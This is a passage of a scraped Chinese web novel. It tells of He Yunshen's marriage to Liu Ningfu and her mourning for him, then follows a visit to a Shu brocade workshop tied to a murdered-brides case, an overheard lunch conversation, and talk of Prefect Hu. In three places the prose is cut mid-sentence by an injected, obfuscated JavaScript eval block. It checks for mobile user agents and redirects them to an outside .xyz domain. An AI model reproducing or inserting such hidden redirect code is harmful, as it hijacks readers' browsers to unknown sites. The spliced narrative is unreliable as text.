下人唯唯诺诺搬来罚抄的书,何云深瞥目看一眼,扬手便扔了满地,“什么女则女诫,我才不抄这些劳什子。” 何重光咬牙道:“那你要如何?” 何云深立马卖乖讨巧,扑到萧夫人怀里软声撒娇道:“娘亲为我专程从相国寺赶回,那我便为娘亲抄几卷金刚经吧,也为你们祈福增德,消除业障。” 何重光冷笑一声,“你若给我安分守己些,就是我们最大的福德。反之,就是我们最大的业障。” “胡说什么!”萧锦瑟瞪他一眼,“难得幺儿有这份心,你还有什么不满意的?她喜欢,就让她抄吧,也能平心静气,修身养性。” 何重光道:“夫人,你别问我有什么不满意的,你该问我有什么可满意的。河东裴氏,关中何等世家;裴氏徵公,朝中何等清流。德高望重至此,出了宫闱便来侯府上课,多少人想求都求不来。 “可她倒好!这个月才初五,她就已经早退了五次,简直无法无天!更何况,我昨日才训斥于她,以后若再迟到早退,必定重罚!怎么,你没听到吗?” 后面的话,显然是说给何云深听的。何云深没有看他,只是掏了掏耳朵,“听到了,听到了,两只耳朵都听到了。” 何重光冷哼一声,“既听到了,那就是明知不可为而为之,更要加罚。你要抄金刚经?行,今日便罚你跪在祠堂抄经思过,一百篇金刚经,不抄完不准起来。你可还有话说?” “有。” “说!” “我要嫁与柳郎。” “你你你!孺子不可教也!再加抄百篇心经!” “便是加抄我也要说,色授魂与,心愉于侧,我早已心系柳郎,非君不嫁。就算色即是空,空即是色,柳郎也是我的空,我的色。” “恬不知羞!再加抄百篇大悲咒!” 何云深昂着脖子,还要再说什么,被萧锦瑟一把拦住了,“好了幺儿,你也少说两句。你爹这会儿正在气头上,你就别再气他了。” 何重光哼一声,“你就惯着她吧。” 萧锦瑟也哼一声,“何重光,什么叫我惯着她,难道你不惯着她?要不是你私相授意,她会这么无法无天?” 在场的下人个个低头垂目,大气不敢出。何云深跪在蒲团上,见怪不怪地数着脚下的砖块,兴致缺缺地看两人横眉互啄。 何重光的面上红一阵,白一阵,又青一阵,他看看萧锦瑟,又看看何云深,终于拂袖而去,“妇人之言,懒得和你多费口舌。” 萧锦瑟嘁一声,见何重光走远了,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268973|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身便将何云深扶了起来,“行了,幺儿,别跪着了,待会儿腿麻。” 何云深笑嘻嘻道:“谢谢娘亲。” “你爹也不是真想罚你,但到底是好面子,总要做做样子。咱们陪他人前做做样子即可,人后没必要亏待自己。”萧锦瑟挤眉弄眼地笑道,“对了幺儿,你方才说的柳郎是何许人也?” “是新科及第的状元郎,模样却比探花还要俊俏呢。” 萧锦瑟了然道:“是他呀,娘亲也略有耳闻。三元及第,天人之姿,倒是个万里挑一的好归宿,配得上我的幺儿。幺儿放心,这门亲事,娘亲允了。” 何云深喜形于色,扑进萧锦瑟怀里撒娇打滚,连声道谢:“谢谢娘亲!” 一月后,长安贵女全体心碎,只因新科状元柳宁甫花落何家。先是忠义侯榜下捉婿,后有圣人御旨赐婚,柳状元与侯府二小姐何云深的婚期定在了乞巧佳节。 是时,举国同庆。 * 此后日沉月浮,月落日出,不知处的桃花开了又败,败了又开。 再晃眼,举国同丧。 何云深送葬归来,捧着柳宁甫的灵位痴痴地看,看久了,竟生出几分地久天长的恍惚。烟火人间,生死茫茫,只是她却行也思君,坐也思君。 原来,这便是爱了。 “夫人,莫要哭了,顾惜着眼睛。相爷去了,公主们还小,你可千万不能倒下。”如意帮她擦泪,温声劝道。 “一夜梅花老,半枝柳色新。”何云深形容枯槁,音色嘶哑,一页页撕下《闲闲集》的诗稿,丢进火盆焚烧,“可是如意啊,一夜老的又何止是梅花。” 如意别开脸去,哽咽难言。 何云深浑浊的眼珠倏然一动,转向窗外,竟是看得直了,半晌呢喃道:“柳郎,下雪了。” 如意随她望去,却见一阵北风卷来,推开朱窗,扇叶儿撞得噼啪作响,火盆边的金刚经吹得遍地都是。 “君埋泉下泥销骨,我寄人间雪满头。”何云深抱着灵位,缓步走出灵堂,独立院中,语气凄怆,“柳郎,霜雪落满头,你我也算是白首了。” 话虽如此,她心底却多少生出些不甘来。这一生,纵然锦衣玉食,纵然良人娇女,无处话凄凉,便到底意难平。 “此去经年,应是良辰好景虚设。便纵有千种风情,更与何人说?” 默了半晌,她用手背抹了眼泪,转身泼墨挥毫,一气呵成—— 大新故太平相晋阳侯河东郡柳府君墓志铭并序 妻庐江何氏撰 君讳存绥,字宁甫,河东人也。曾祖锡,祖柏,考源,不仕,皆好幽静,避世隐居。至君博学道高,温恭志肃,以三元及第,解褐御史中丞。在任洁白能仁,清勤动众,再拜太平相。永乐十四年,代圣人南巡,遇害秦岭,卒于九月十九日,春秋四十有一。 君金玉不宝,忠信代之。积聚不祈,多闻为富。居庙堂之高则忧其民,处江湖之远则忧其君,是进亦忧,退亦忧。或问:“然则何时而乐也?”君笑曰:“上知吾忠,民知吾直,进退两忧,亦为两乐。” 其年十二月廿三日,四女号护,权殡于长安凤栖原北,唯吉是庆。身欲随没,幼小不可再孤,一哭之哀,君其知否?是以柏舟已誓,匪石不移,刊石为铭,以存终古。辞曰: 忆昔府君,复礼为仁。学以修德,文以立身。竭忠于君,克孝于亲。天道何怨,歼此良人。佳城郁郁,陇树依依。千秋万岁,长处于兹。 * 洋洋洒洒二百余言,何云深一挥而就。停笔时喉间腥甜上涌,俯身呕了一大口血,眼前顿时蒙上一层阴翳。 明明看不清楚,她却清楚知道,那是一张金刚经文。地面很冷,眼皮很重,如意的喊声很是凄厉。意识逐渐混沌,今夕不知何夕,她却恍然想起一件旧事。 那一日,她被罚在祠堂抄经,心经与大悲咒一概不管,金刚经却极为上心。其中有段经文她深以为然,又觉大谬不然,于是存了私心,稍作改动。 少女心事,无字成诗,有字更如是。故而,百篇金刚经,字字珠玑,字字深情—— 凡所有相,皆是虚妄。若见诸相非相,即见柳郎。 19. 蜀锦 浮生若梦,梦如浮生。 长梦无极,她仿佛是娘亲,亲身经历了一切悲欢离合。姐姐病逝,夫君横死,女儿遇害,自己万念俱灰,常伴青灯古佛。 她又仿佛还是她自己。一个局外人,站在云端上,袖手看着娘亲和爹爹邂逅。二十余年人事成沙,明明两情相悦,转眼却天人两隔。 等等,好像还有谁。 万丈云端上,除了她,好像还有谁。那人和她并肩看娘亲的浮生如梦,又在她泣不成声时递来帕子。 是爹爹吗?不太像,好像是个女子。 是姨母吗?她印象模糊,全然不记得了。 她只记得,梦魇之中,她一直哭一直哭,却怎么也醒不过来。等到长梦醒来,梦中种种却又忘得一干二净,什么都记不起来了。幸得今日机缘巧合,她才得以重新记起。 说到这里,姐妹两人相拥而泣,眼泪怎么也止不住,惹得宝儿在旁也止不住地淌眼抹泪。东方凌云强忍泪意,温声劝道:“好了娇娇儿,不哭了,先吃东西吧。待会儿凉了羹汤,可要辜负许许的一番心意了。” 何清如回过神来,转而笑道:“是呀娇娇儿,这一桌可都是你爱吃的。今日你不吃两大碗,我可不会依。” 柳眉妩这才破涕为笑,擦了泪,落了座,又从宝儿手里接过热腾腾的七宝驼蹄羹。还没动匙,鼻间闻到熟悉的味道,顿时食指大动。 “好香!好喜欢!” “娇娇儿喜欢,便多吃些。” 柳眉妩点头如捣蒜,还没回话,忽听门外阿大扬声禀报:“爷,鲁郡尉来了,在东花厅等您。” 东方凌云当即放下汤匙,囫囵漱了口,一面擦嘴一面就要起身,行色匆匆,语气却从容,“许许之笑,似乎意味深长。” 何清如道:“我只是想到,周公吐哺,天下归心。二哥亦如是。” “许许,莫要折煞我了。我何德何能,怎敢自比周公。”东方凌云摇头失笑,摆摆手,快步出了膳厅。 剩下几人继续吃喝。 不知是饿了还是馋了,柳眉妩的驼蹄羹三两口吃完,又唤小六拿了块髓饼慢慢嚼吃,余光看着葫芦鸡,正思考是夹鸡翅还是鸡腿时,东方凌云回来了,又让小六盛了碗胡羹。 不到一会儿,又听门外小七低声禀道:“爷,云罗坊的人来了,在偏厅候着。” “二哥哥,先吃饭吧,不论公务私事,晚些再说。”柳眉妩递过胡羹,转头又问何清如,“大姐姐,是你要制新衣吗?” 何清如点头。 “蜀锦当真是好看,当得起寸锦寸金的名头。云罗坊的做工也精细,可惜就是没有成衣,定制的工期又忒长了些。大姐姐你不知道,我上个月在她家选了几款样式,还不算复杂的,夏姬说每身最快最快也要两三个月去了。 “大姐姐这会子定制衣裳,等穿上身,都要入夏了。不如我待会儿派人送几套春服来,虽不是蜀锦蜀绣,却也素雅洁净,都是新的。” 何清如摇头笑道:“不用,我的衣裳够了,只是想看看喜服。” “喜服?和谁?顾思义不是没来吗?” 柳眉妩看看宝儿,又看看二哥哥。宝儿眼神清澈,咬一口跳丸炙,头摇得好似拨浪鼓;二哥哥却是神色从容,眉目沉稳,静如秋水之纹。 柳眉妩恍然大悟,眨着眼道:“所以……” 东方凌云笑道:“无他,还施彼身罢了。” “还施谁身?” 何清如解释道:“二哥怀疑,云罗坊的喜服有蹊跷。” “有何蹊跷?” 东方凌云道:“自接触新娘枯尸案后,我仔细翻看了相关卷宗,发现所有遇害的新娘都有一个相同点。” 柳眉妩似懂非懂,“喜服?” 东方凌云点头,开门见山道:“新娘枯尸案起于去年八月,此后八个月以来,蜀郡登记在册的婚事凡两百零六起,却只有七具枯尸被发现。当然,不排除已有命案却没发现的可能,但也可以知道一点,王不留行并非要杀害所有新娘。换言之,此七女之所以遇害,其中定有乾坤。” “所以二哥哥的意思是,七位新娘之所以遇害,和云罗坊的喜服有关?”柳眉妩猛然反应过来,又连忙摇头,“不行!那太危险了,怎么能让大姐姐……” 何清如笑着给她夹了块葫芦鸡腿,“娇娇儿,安心。不过以彼之道还施彼身罢了,不足为虑。” 柳眉妩和宝儿对视一眼,转头看看何清如,又看看东方凌云,终究还是垂下了眉眼,亦是在无声衡量。 阿大和小七守在门外,小八和十二执拂尘、漱盂和巾帕一旁候着,小六只管布让,小九和十三不在这儿,却又也在这儿。 幽影十三骑闻名江湖,素有“合抵万马千军,分当一人一城”之说,如今七骑在此,不过一个王不留行,她又有何安心不下? 思及此,柳眉妩渐渐舒了神色,又夹了块葫芦鸡翅,笑得见牙不见眼,“谢谢大姐姐,真好吃。” * 早膳用完,闲话一阵消了食,何清如带着柳眉妩和宝儿,左右跟着小六和小八,随小厮行去云罗坊。是时晌午,热气烘人,夏姬打着呵欠,百无聊赖地倚在柜台后嗑瓜子。 见有客来,堆了笑上前迎接,看清小厮后,连声招呼道:“哎哟,原来是御史府的表小姐,哎哟,叶小姐也来了,欢迎欢迎。两位贵客光临,小店蓬荜生辉啊。” 何清如矜持颔首,“夏姬,我来看看喜服。” “明白,白大人早吩咐过了,表小姐随便看。”夏姬一面向她们介绍,一面朝小厮吩咐,“大吉,还杵着做什么,快去上茶。” 领她们来的小厮应了声,忙不迭小跑着下去了,几人随便看了看,又随夏姬转到后室。后室与前室相差不大,只是悬挂的丝线品类更丰富,纹饰更多样。不过,最引人注目的,还是一身繁缛华丽的喜服。 喜服共三层。 外层是鸡心领对襟红袖衫,胸前右侧和背部用金丝绣着双凤,羽片平整光亮,掺色均匀,栩栩如生,袖口处嵌了一圈细碎松子石,摇曳时如绿金幻彩;中层是红色长褶裙,裙角彩绣缠枝宝瓶纹,空白间绣祥云,两侧绣宝相花,下沿后摆是交叉的燕尾造型;里层是窄长袖圆领内襟,暗绣和合二仙,袖可及腕,袖间露出花团锦簇的绘绣花纹。 清风徐来,芸香盈鼻。 柳眉妩惊叹出声:“这是样衣么?真好看。” 夏姬笑道:“叶小姐说哪里的话,本店只有定制,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268974|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有样衣。这是蒋姑娘的喜服,有些地方还要改动,所以挂在这里。” “两三月的工夫,也能绣得这样精致么?”柳眉妩左看看右看看,越看越满意,当即拉着宝儿小声咬起了耳朵,“真好看,我也要蜀锦做喜服。” 夏姬捂嘴笑道:“叶小姐真会说笑,哪里能这么快。这样精致的纹饰刺绣,坊里的绣娘便是没日没夜地赶工,别说两三月,两三年怕是也完不成哩。” “娇娇儿,你也做一件吗?”何清如离得近,听见两人咬耳朵,转头笑着问她。 婚期远近不是问题,近了刚好用上,远了有备无患,便是日后和枝枝一样自梳不嫁也无所谓。只要娇娇儿喜欢,别说一件喜服,就是天上的星子和月,她也会尽力为她摘下。 夏姬却道:“叶小姐不用急,你的喜服已经在做了。” “谁的?我的?什么时候?”柳眉妩惊讶三连,很快又反应过来,“欸?我不是只定了春服吗?” 夏姬也有些惊讶,“欸?秋千姑姑没跟你说吗,那日定了春服,也定了喜服的哦。” 柳眉妩“唔”一声,挠了挠头,继续问道:“那我的喜服什么时候做好呢?” 大吉打起帘子进来,一面奉茶,一面笑着解释:“叶小姐,慢工出细活,心急可穿不了云罗裳。我们店的每件衣裳,都是要先把丝线煮熟,再一根根挑出来染色,然后才用经线起花,彩条添花,纹饰织花,蚕丝绣花的…… “零零碎碎,林林总总,工序足有一百零八道,便是十二个绣娘一起绣,长则七八年,短也要三四年呢。若一味图快,只要速度,可保证不了质量,只好紧缩工序,要么选锦,要么选绣了。” “难怪说寸锦寸金,蜀锦也太奢靡了些。”柳眉妩瞠目结舌。 何清如忽然问:“蒋姑娘的喜服做很久了吧,好事定在什么时候呢?” 大吉点头道:“可不是,蒋姑娘早早儿就来定制了,精益求精,改了又改,都快四五年了。好事嘛,应该也快了,听说叶大人本月十八就要起复原职了,婚期再晚也出不了这个月……” 话音未落,忽听隔墙一阵锣鼓响,噼里啪啦震人耳鼓,隐隐传来勾栏曲子,歌姬咿咿呀呀地唱着:“东边日出西边雨,道是无晴却有晴。” 夏姬听了会竹枝词,忽然笑一声,桃花眼开成扇,又添几分欲说还休的玩味,似叹非叹道:“问世间,情是何物,直教生死相许。只是可惜,生者可以死,死者却不可以生。” 何清如看了柳眉妩一眼,不知想到什么,也笑了起来,“可是我却觉得,所谓死而不可复生者,一如生而不可与死者,皆非情之至也。” “是么?这么说来,情之一物,倒是个好东西了。”夏姬似笑非笑,“让人眼也蒙了,心也蒙了,直直儿便跳到婚姻里去了。” 何清如不卑不亢,继续道:“那没办法。圣人忘情,最下不及情,情之所钟,正在我辈。” 夏姬蓦地抬步往外室走去,“说得好,表小姐选好了就过来填写名册吧。” 名册共三列,分别是姓名、婚期和地址。何清如看了一会儿,看不出所以然,索性便提笔填了。半晌停笔,小字初干,清骨风流—— 何许,六月初八,御史府。 20. 听房 再出云罗坊,红日高悬,正是午膳时分,一行人就近到望江楼用膳。才进大堂,便闻一阵荤香鲜味扑面而来,食指大动,细闻却辨不出是何香味。 小八咂了咂嘴,扬手招来店小二,“我们要天字第一号的包间。” 小二听了这话,面上却隐隐露出难色。 小六奇怪地问:“可是一号间有客了?” “那倒没有。”小二挠了挠头,“只是本店的一号间从不待客,几位不妨看看别的,三号间还空着呢。” 小八当即皱起眉头,叉腰道:“既无客人,又是膳时,你为何不让我们去一号间,可是觉得我们付不起银子?” “姑娘说哪里话,小的……”小二眼珠滴溜溜转一圈,瞥过柳眉妩腰间,顿了顿,话头也随之一转,“有眼不识泰山,贵客稍等片刻,小的这就去请我们掌柜的来。” 他跑得飞快,一行人还没反应过来,很快又见一个微胖有须的中年男子从二楼小跑下来,气喘吁吁道:“无意怠慢,叶小姐久等了。叶小姐要去一号间对吧,我这就带小姐过去。” 柳眉妩惊讶道:“你认得我?” 掌柜一面喘气,一面笑着解释:“我不认得小姐,却认得小姐的玉。大公子早就吩咐过,见玉如见人,我等不得怠慢。” 柳眉妩下意识摩挲腰间勾玉,心中了然,便也不客气了,笑着应道:“既如此,有劳掌柜带路。” “我的荣幸。” 上了楼,迎面一排包间矗立,掌柜却带着她们七弯八绕,逶迤半晌,才停在天字一号间外。推开门,入目一张红木嵌螺钿螭龙纹八仙桌,靠南边錾铜钩悬着大红撒花软帘,南窗下是一方花梨木雕刻月牙桌,桌上香炉插花一俱,小窗却紧闭。 柳眉妩何清如东向坐,宝儿南向坐,小六小八西向侍。掌柜让小二点香,自己伺候着几人点菜,都齐备了,又上了热茶新果,说了好一通漂亮话,这才领着人躬身退下。 “娇娇儿。” 宝儿烫了杯,倒了茶,抬手便自然而然地送往右手边。 柳眉妩正偎在何清如身上,没骨头似的,接过茶杯转手便递给她,笑嘻嘻道:“大姐姐喝茶。” 何清如也不见外,笑着接过,口中却道:“可是奇了,今天的太阳怕是从西边出来,宝儿倒的茶也舍得给我喝了。无事献殷勤,不知道又藏了什么坏水呢。” “才不是无事,不对,才不是献殷勤!”柳眉妩口中不承认,手上却讨好似的搂着何清如腰身,蹭啊蹭,语气撒娇道,“今晚想和大姐姐一起睡嘛,好不好,我有好多好多话要和大姐姐说。” 何清如心中也正有此意,当即便笑着允了。 “大姐姐最好了!”柳眉妩欢呼出声,撒手鼓掌,不意打到什么。定睛去看,险些把宝儿再次递来的热茶打翻,好在小六眼疾手快,拿剑稳住了。 何清如惊呼一声,宝儿已将她拎身站起,左右旋转,上下打量,口中急切道:“娇娇儿,有没有烫到?” “没有。”柳眉妩摇了摇头,指着小六剑端波澜不兴的茶面,好笑道,“你们信不过我,还信不过小六吗?茶水点滴未出,剑身都没湿,又怎会溅到我身上。” 何清如心有余悸,“就会贫嘴哄人,要是真烫着了,可不好受。” 柳眉妩朝她吐了吐舌头。 何清如这才舒了口气,捏了捏她的脸,“还会扮相搞怪,看来是真的没事。” 小六回身收剑,随手利落挽了个剑花。茶杯随剑花而起,下一瞬,又稳稳落在剑身上,横在自己面前。 柳眉妩拍手喝彩:“小六,好身手!” 小六拿起茶杯,躬身递给柳眉妩,轻声笑道:“四公主吉人自有天相。” 小八因隔得远,慢了一步,便站在原地没有动作。见柳眉妩只是虚惊一场,当即放下心来,左右无事,转身推开花窗,不由惊叹出声:“不愧是天字一号间,位置一顶一的好,南湖风光尽在眼底。” 小六也道:“托四公主的福。” 何清如抬眼望去,碧水如镜,长堤无痕,湖中亭数点,好似一幅墨迹未干的丹青画卷。有风徐来,波色乍明,粼粼如新镜开光,倒影婆娑。夹岸勾栏瓦肆,屋舍俨然,参差十万人家。 “西接岷江,东通夔万。揽蜀郡之胜景,据长江之上游。今日一见,果真名不虚传。”她转头看向柳眉妩,不知想到什么,意味不明地笑,“说起来,还要谢谢杨大公子。” “那大姐姐要怎么谢呢?”柳眉妩抿一口茶,歪着脑袋看她。 何清如好笑地摸了摸她的脸,“可没道理,我是借你的光,怎地还要我去谢?” “我不知道嘛,当然问大姐姐了。” 何清如想了想,沉吟道:“你方才不是在云罗坊买了个荷包,回头装些香花香草送了,就当香袋儿了。” 宝儿却摇头道:“不好。” 柳眉妩也点头道:“是不好。荷包这般体己物,不好轻易送人,容易误会。不过大姐姐倒是给我提了个醒儿,我待会儿再去一趟云罗坊,挑个钱袋子作回礼,也合大表哥身份。” “如此甚好。” 花窗洞开,暖风笼着檀香,熏得人醉。几人一边等菜,一边闲话,忽听隔壁“吱呀”一声响,小二模模糊糊的声音随之传来,“胡公子,李公子,里面请。” 柳眉妩没放心上,正要继续说话,又听隔墙一道沙哑嗓音响起,“李大善人,小弟可算约到你了。” 忽然默了声,眉头轻皱。 其余人也自觉屏气敛息。 “安之,莫要开我玩笑。”另一道清越嗓音懒懒回话。 “我可没开玩笑,你唬得住我,还能唬过我的耳报神?不过几家经营不善的铺面,还是你那个便宜妹妹的铺面,与你何干?你倒好心,说走就走,一走就是三天,可让我望眼欲穿,一阵好等!” “闲来无事,随便走走。” “你说儿豁。” “……” “得,算我多嘴,就不该提这件事儿,不说了不说了。丹阳,你快帮我拿个主意,我爹那个老古板,说什么都不同意我和夏姬,你说怎么办?” “安之,都什么时候了,你怎么还在纠结这件事?你爹明日就要堂审了,公廨积压了多少陈冤旧案,你就一点不担心?” “我爹又不是头一回堂审,有什么好担心的,这不是老子不急儿子急吗?而且你也说是陈冤旧案,当时断不了的,现在也不见得就断得了,这也能是错处?” “虽不是头回,可我听说,明日堂审却非同一般。御史旁听,百姓围观,可不是轻松能应付得了的。” “那又怎样?身正不怕影子歪,我爹能断的自然会断,断不了的怎么断也断不了。况且,我爹有几斤几两,年底的述职文书上写得明明白白,朝廷都门儿清的,又哪里轮得到我杞人忧天。” 听到这里,饶是柳眉妩再迟钝,也不难听出对面身份,只是眉头却皱得更紧了。一墙之隔,仿若空设,两人说笑问答竟是一字不差地落到她耳里。 李丹阳似乎舒了口气,“安之,你能这么想,真是太好了。我还担心你会思虑过重,今晚睡不安稳呢。” 胡安之又道:“丹阳,你别高兴得太早。我这两个黑眼圈都快掉到地上了,你看不到?我可真真儿要愁死了。” “八字都没一撇,有什么好愁的。” “谁说八字还没一撇?一撇一捺,够够儿的了。不说远的,就说今天,我今天去云罗坊,夏姬跟我说了五句话!” “……” “五句话!什么意思!你懂不懂!” “……” 似乎沉默了许久,李丹阳才笑着回话:“我确实不懂。” * 转眼一刻钟,门从外面被人推开,掌柜领小二捧着大漆食盒进来。待一行人鱼贯而入,柳眉妩惊讶起身,叫人道:“大表哥!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268975|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“灵儿。” 杨无咎温温而笑,抬手示意小二摆汤布菜,目光却不动声色地环顾四周,最终停在宝儿身上。宝儿自顾自喝茶,恍若未觉。 柳眉妩问:“大表哥,你怎么来了?” “贺掌柜说你在望江楼用膳,担心服务不周,怠慢于你,便将我叫了来。” 这话其实说得不差,颇见涵养,也颇见城府。何清如听了,都不禁多看两眼。 宝儿却眨了眨眼,扬声道:“娇娇儿,大公子怎么会这样想你,倒显得我们有多无理取闹一样。” 何清如轻咳一声,心中好笑。杨无咎之言,本来滴水不漏,却耐不住宝儿断章取义,胡搅蛮缠。 贺掌柜连连摆手,解释道:“没有没有,没有的事。是我办事不力,担心怠慢了叶小姐,故而派人告知大公子。大公子也是关心叶小姐,这才过来相看。” “没有怠慢,贺掌柜很热情。”柳眉妩朝他客气一笑,转身又问杨无咎,“大表哥可吃过了?要不要坐下一起吃些?” “谢谢娇娇儿。”杨无咎从善如流,笑意温和,语气却有些不容置喙,“不介绍一下吗?” 柳眉妩听他称呼,愣了愣神,半晌才回道:“这是何姐姐,我们在云罗坊遇见,相谈甚欢,一见如故。这是宝儿……何姐姐的弟弟。这是小六和小八。” “原来是弟弟。”杨无咎笑得意味深长。 柳眉妩下意识看向宝儿。只见宝儿撇嘴皱眉,一副吃了暗瘪又不好发作的委屈模样,顿时有些好笑,伸手捏了捏他手心。 随即被一把抓住。 宝儿朝她挤眉弄眼,面色稍霁。 她便也不挣扎了,只伸手挠了挠他掌心。 闲话片刻,十八道招牌特色很快上齐了。杨无咎净了手,笑着为柳眉妩盛汤,“娇娇儿,尝一尝竹荪肝膏汤,清淡软糯,又有营养。” 柳眉妩道了谢,接过汤盅喝一口,只觉荪脆如蕨,膏嫩如脂,汤鲜味醇,入口爽滑,当即眉飞色舞地赞道:“真好喝!” 开了鲜,再吃大燠面,喝杏仁茶。柳眉妩胃口不错,一连吃了两大碗,转头瞥见何清如神色,关切道:“大,何姐姐,吃不惯吗?” 何清如咽下怪味鱼,五官皱成一团,闭着眼点头道:“辣尚可忍,麻味实在难挡。” 说完,猛灌一口杏仁茶,重重呼气,方有舒缓。 贺掌柜解释道:“蜀味便是如此,麻辣招人。何小姐第一次吃,不习惯也正常,等在成都待上几月,吃得多了,就会习惯了。到那时候,恐怕还要上瘾呢。” 柳眉妩深以为然,“是这样的,蜀味又麻又辣,让人又爱又恨。” 而且,有一说一,望江楼不愧是蜀郡游宴饯别的首选,汤汤水水,荤素搭配,无不鲜香有度,麻辣适中。尤其一道雪花鸡淖,色白似雪,其状如云,软绵嫩滑,可谓食鸡不见鸡的妙品。 何清如听她这般说,心中松快,等麻意过了,笑着为她再夹几根干煸冬笋,“娇娇儿,喜欢便多吃些。” 柳眉妩却摇摇头,“不要了,我吃不下了。” “懂了,饭菜胃填满了,该填点心胃了。”何清如笑完,转头朝小二吩咐,“可以上茶果点心了。” “知我者,何姐姐也。”柳眉妩拿过油酥锅魁,拍手笑道。忍了又忍,还是没忍住问出了声,“大表哥,望江楼的包间都是如此吗?” 贺掌柜侍立一旁,初初没反应过来,半晌才道:“回叶小姐,只一号间是如此。” 音色朗朗,掷地响亮,生怕隔壁听不见般。 下一瞬,高谈阔论的声音倏然停了。 “嘘,丹阳,你听。” “什么?” 柳眉妩咬着锅魁,一时忘了咀嚼。 “我好像听到夏姬的声音,就在街上,不对,就在楼下。丹阳,先失陪了,我去看看。” 李丹阳:“……” 柳眉妩:“……” 21. 堂审(一) 用过午膳,闲话消食,杨无咎想送柳眉妩回去,却被拒绝了。她热络地挽着何清如,如胶似漆般,直言与何姐姐实在投缘,今晚要同宿一处,不回浣花别业了。杨无咎点点头,面上不见喜色,却也没有拒绝。 当夜,御史府中用过晚膳,柳眉妩拿出叶灵儿的日记,供大家辨认。可即便见多识广精通汉梵如东方凌云,看完也是一头雾水。 “似汉非汉,似梵非梵,闻所未闻,见所未见。娇娇儿,你在哪里寻的奇书?” 柳眉妩如实道:“今日见到娘亲的手书,想起叶灵儿的日记。我不认得,问了院里的丫鬟们,也不认得。干脆让十三带过来,问问你们。” “不急的话,送几本回去,让老二认认。”东方凌云建议。 老二不良于行,却眼观六路耳听八方。日月所照,江河所至,什么风吹草动,都瞒不过她。长安耳报神,她若称第二,便没人敢称第一;她若称第一,便没人敢有异议。 柳眉妩拍手笑道:“那再好不过了!” 一事毕,几人围桌玩叶子戏。柳眉妩一面抓牌,一面问东方凌云:“二哥哥,胡郡守怎么样?” “当初阿大回京时,我交代了他两件事,一是送去书信,二则取来库档。”东方凌云道,“胡子长的库档。” 胡迁,字子长。 正是胡郡守名字。 何清如问道:“可是胡郡守有问题?” 东方凌云摇了摇头,“恰恰相反,胡子长一点问题也没有。在其位谋其事,凿山度水,钻井修路,可谓面面俱到。平冤断案,拨乱反正,虽不敢说治下无冤,却也称得上清明为政,年关考核全然是达标了的。” 柳眉妩想到灵犀院里丫鬟们的愤愤不平,加之今日李丹阳所说公廨积压的陈冤旧案,不解道:“若真是如此,胡郡守就该是个公明好官才对,为何治下百姓还会有闲言碎语呢?” 东方凌云不答反问:“娇娇儿,何为公明?” 柳眉妩愣了愣神,答不上来,就听宝儿回道:“公者,不偏不倚;明者,无冤无纵。” “不偏不倚,无冤无纵,这八个字和胡郡守可没关系。”柳眉妩恍然大悟,冷笑出声,“我记得小茶跟我说过,胡郡守查案会有先后次序之分,三六九等之别。若苦主有权有势,案子便会破得快些;反之则可能查来查去查不清楚,久而久之,自然就成了无头公案。 “如此一来,胡郡守只要保证每年的年关考核无虞,查什么案,为何人查,就全由他自己做主了。毕竟,再厉害的人也是人,不是神,即便任上有几件案子迟迟未破,朝廷也不会拿他问罪。” 宝儿静静听着,恍惚忆起初入大理寺时,狄长春对他的一番教诲—— “既入大理寺,便掌平决狱讼之职,以探诡断案为己任。我且问你,我们的第一要义是什么?” 彼时的他似懂非懂,看着堂上金光灿灿的匾额,认真答道:“公明狱讼,天下无冤。” 狄长春却摇头笑了,晃着酒葫芦道:“不对,第一要义应是端正认知。争罪曰狱,争财曰讼,不偏不倚曰公,无冤无纵曰明。可是,我们是人,不是神,再厉害的人也有力所不及之事,再厉害的官也有束手无策之时。所以,你首先要学的,就是学会接受自己的无能为力、无可奈何。 “凡事种种,谋事在人,成事在天。‘天下无冤’四个字,好则好矣,但只适合挂在墙上,谁天天有事没事挂在嘴边,你直接掴他就是。少说空话,多做事,尽了人事,听天命,古往今来,如此而已。” 当时的他不以为然,现在的他依旧如是。 “如此行径,为人不齿。胡郡守欺上瞒下,分明可以治他一个渎职之罪。” 何清如摇头叹道:“断言容易,断案难。胡郡守为人谨慎,凡事又做得滴水不漏,我们轻易可寻不到他的错处。” 东方凌云似笑非笑,“寻得到,寻不到,要等寻了才知道。” 柳眉妩听出话里机锋,再问,他却怎么也不肯说了,一副“欲知后事如何,请听下回分解”的模样。 兴致上来,几人嬉笑打闹,直到夜半时分才肯散场,各自去睡。席间桌上的话儿都说完了,明日又要早起去公廨观审,柳眉妩和何清如上床便睡,反倒一夜无话。 